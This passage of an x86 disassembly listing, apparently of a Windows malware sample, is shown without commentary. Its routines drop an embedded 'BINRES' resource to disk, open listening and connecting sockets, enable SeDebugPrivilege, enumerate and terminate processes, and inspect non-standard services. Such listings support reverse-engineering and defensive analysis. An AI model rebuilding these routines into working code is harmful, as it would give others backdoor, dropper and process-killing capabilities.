[esp+114h+var_10C], offset loc_401956 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax nop call near ptr 28F0000h xor eax, eax add esp, 110h retn sub_41FC00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC80: ; CODE XREF: ___:00401C30j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax call near ptr 77C3F010h nop mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FCA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCA2: ; CODE XREF: ___:0041FC9Aj mov ecx, [esp+18h] push ecx call near ptr 2880B1Ah nop mov esi, eax test esi, esi jnz short loc_41FCB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCB9: ; CODE XREF: ___:0041FCB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi nop call near ptr 2790000h mov edi, eax test edi, edi jnz short loc_41FCDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCDC: ; CODE XREF: ___:0041FCD4j push ebp push edi push esi nop call near ptr 27907B1h push edi push esi mov ebp, eax call near ptr 2790B60h nop push ebp mov esi, eax nop call near ptr 2790E7Ah push ebx push esi push 1 push eax call near ptr 77C4173Bh nop push ebx nop call near ptr 77C40AB1h add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD50 proc near ; CODE XREF: sub_40187Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41FD78 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_41FD71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FD71: ; CODE XREF: sub_41FD50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FD78: ; CODE XREF: sub_41FD50+Fj pop esi retn sub_41FD50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD90 proc near ; CODE XREF: sub_401A8Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FDAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FDAE: ; CODE XREF: sub_41FD90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40187F add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_41FE0A push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE0A: ; CODE XREF: sub_41FD90+69j mov eax, esi pop esi add esp, 10h retn sub_41FD90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40197Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FE6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE6E: ; CODE XREF: sub_41FE50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_41FEC0 push esi call near ptr 71AB9639h nop or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FEF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_41FF24 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh jnz short loc_41FF27 loc_41FF24: ; CODE XREF: sub_41FEF0+14j or eax, 0FFFFFFFFh loc_41FF27: ; CODE XREF: sub_41FEF0+32j pop esi add esp, 10h retn sub_41FEF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF40 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41FF76 mov esi, [esp+8+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_41FF76 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh jnz short loc_41FF79 loc_41FF76: ; CODE XREF: sub_41FF40+8j ; sub_41FF40+1Aj or eax, 0FFFFFFFFh loc_41FF79: ; CODE XREF: sub_41FF40+34j pop edi pop esi retn sub_41FF40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41FF90 proc near ; CODE XREF: sub_4015FAj var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_436840 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_436FC0 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41FFC3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_41FFC3: ; CODE XREF: sub_41FF90+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42008D push ebx mov ebx, dword_50F874 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_41FFE5: ; CODE XREF: sub_41FF90+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420077 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_436FBA ; --------------------------------------------------------------------------- test eax, eax jz short loc_420070 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_436FB4 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h dd 500D75C0h, 0FF96E856h, 0C690022Eh, 1132444h ; --------------------------------------------------------------------------- loc_420070: ; CODE XREF: sub_41FF90+A2j push esi nop call near ptr 28308B0h loc_420077: ; CODE XREF: sub_41FF90+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_41FFE5 pop edi pop esi pop ebp pop ebx loc_42008D: ; CODE XREF: sub_41FF90+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_41FF90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4200F0 proc near ; CODE XREF: sub_4019FBj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4200F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401861 push eax mov [esp+464h+var_4], 0 call sub_401E8D add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42026A lea ecx, [esp+460h+var_43C] call sub_401424 push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_401681 push eax push 80000002h nop call near ptr 2930000h mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx nop call near ptr 28E0000h lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_50F9AC mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_443AF4 ; "\\" call near ptr 76085AE4h nop inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 call near ptr 760976AFh nop lea ecx, [esp+4A4h+var_490] nop call near ptr 7608B84Ch push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE145CE8h, 0E89050FFh, 23C0588h, 14244C8Dh dd 5C249C88h, 0E8000004h, 75C6F249h, 244C8D90h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42026A: ; CODE XREF: sub_4200F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4200F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420300 proc near ; CODE XREF: sub_401E8Dj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 29007AAh mov ebx, eax test ebx, ebx jnz short loc_420325 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420325: ; CODE XREF: sub_420300+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push ebx nop call near ptr 28A0683h mov esi, eax test esi, esi jnz short loc_420350 push ebx nop call near ptr 2910000h pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420350: ; CODE XREF: sub_420300+3Fj push ebp push edi mov edi, dword_50F740 push esi call edi push esi call edi mov ebp, dword_50F73C lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_50F74C call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420300 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4203D0 proc near ; CODE XREF: sub_4018A7j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h nop call near ptr 2780929h push eax call near ptr 28C156Ah nop mov ebp, dword_50F718 mov edi, dword_50F8D8 test eax, eax jnz short loc_420420 lea ecx, [esp+38h+var_28] push ecx push 28h call near ptr 278098Ah nop push eax nop call near ptr 28C1C44h test eax, eax jz short loc_42047F loc_420420: ; CODE XREF: sub_4203D0+36j cmp [esp+38h+var_28], esi jz short loc_420483 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 nop call near ptr 28D0000h lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420478 nop call near ptr 27B07FFh cmp eax, 514h jnz short loc_420483 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42047D ; --------------------------------------------------------------------------- loc_420478: ; CODE XREF: sub_4203D0+92j mov edx, [esp+38h+var_28] push edx loc_42047D: ; CODE XREF: sub_4203D0+A6j call edi loc_42047F: ; CODE XREF: sub_4203D0+4Ej mov [esp+38h+var_28], esi loc_420483: ; CODE XREF: sub_4203D0+54j ; sub_4203D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h nop call near ptr 27809BDh mov esi, eax test esi, esi jz short loc_4204A8 push 0 push esi call near ptr 2710000h nop push esi mov bl, 1 call edi loc_4204A8: ; CODE XREF: sub_4203D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4204C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4204C7: ; CODE XREF: sub_4203D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4203D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420530 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420530 push eax mov eax, 1130h mov large fs:0, esp call sub_436840 push esi push offset aPsapi_dll ; "PSAPI.DLL" call near ptr 2880B1Ah nop test eax, eax mov dword_50BB60, eax jnz short loc_42057C push offset aPsapi_dll ; "PSAPI.DLL" call near ptr 27D0796h nop test eax, eax mov dword_50BB60, eax jz loc_4206FA loc_42057C: ; CODE XREF: sub_420530+32j mov esi, dword_50F8A0 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50BB64, eax mov eax, dword_50BB60 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50BB60 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50BB68, eax call esi mov ecx, dword_50BB64 mov dword_50BB6C, eax test ecx, ecx jz loc_4206FA mov edx, dword_50BB68 test edx, edx jz loc_4206FA test eax, eax jz loc_4206FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4206FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4206E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_50F874 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42063F: ; CODE XREF: sub_420530+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4206CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50BB68 test eax, eax jz short loc_4206C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50BB6C lea ecx, [esp+74h+var_54] call sub_401866 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015D7 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402167 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A6E loc_4206C6: ; CODE XREF: sub_420530+136j push esi nop call near ptr 28308B0h loc_4206CD: ; CODE XREF: sub_420530+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42063F pop ebp pop ebx loc_4206E1: ; CODE XREF: sub_420530+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4206FA: ; CODE XREF: sub_420530+46j ; sub_420530+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207A0 proc near ; CODE XREF: sub_401866j push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_4207A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4207C0 proc near ; CODE XREF: sub_401A6Ej jmp sub_401226 sub_4207C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207E0 proc near ; CODE XREF: sub_402144j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4207E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx nop call near ptr 29007AAh mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42082F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42082F: ; CODE XREF: sub_4207E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_44432C mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset off_444314 mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_401424 lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_50F710 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx call near ptr 77C2C407h nop add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420B8F mov ebp, dword_50F75C loc_420A6B: ; CODE XREF: sub_4207E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420A97 lea esi, [esp+524h+var_4E0] loc_420A78: ; CODE XREF: sub_4207E0+2B5j mov ecx, [edi] push ecx push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz loc_420B73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420A78 loc_420A97: ; CODE XREF: sub_4207E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_401681 push eax push 80000002h call ebp cmp eax, ebx jz short loc_420AE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420AE3: ; CODE XREF: sub_4207E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax nop call near ptr 28E0000h cmp eax, ebx jz short loc_420B1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420B1D: ; CODE XREF: sub_4207E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420B3A: ; CODE XREF: sub_4207E0+301j ; sub_4207E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014C9 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420B73: ; CODE XREF: sub_4207E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420A6B mov ebp, [esp+524h+var_4FC] loc_420B8F: ; CODE XREF: sub_4207E0+27Fj push ebp nop call near ptr 2910000h lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4207E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420CD0 proc near ; CODE XREF: sub_4015EBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 call near ptr 2880B1Ah nop push eax nop call near ptr 2880000h mov eax, esi pop esi retn sub_420CD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D00 proc near ; CODE XREF: sub_401A28j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420D39 loc_420D22: ; CODE XREF: sub_420D00+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420D22 cmp ecx, 0 jz short loc_420D4A loc_420D39: ; CODE XREF: sub_420D00+20j ; sub_420D00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420D39 loc_420D4A: ; CODE XREF: sub_420D00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420D00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50BB54, 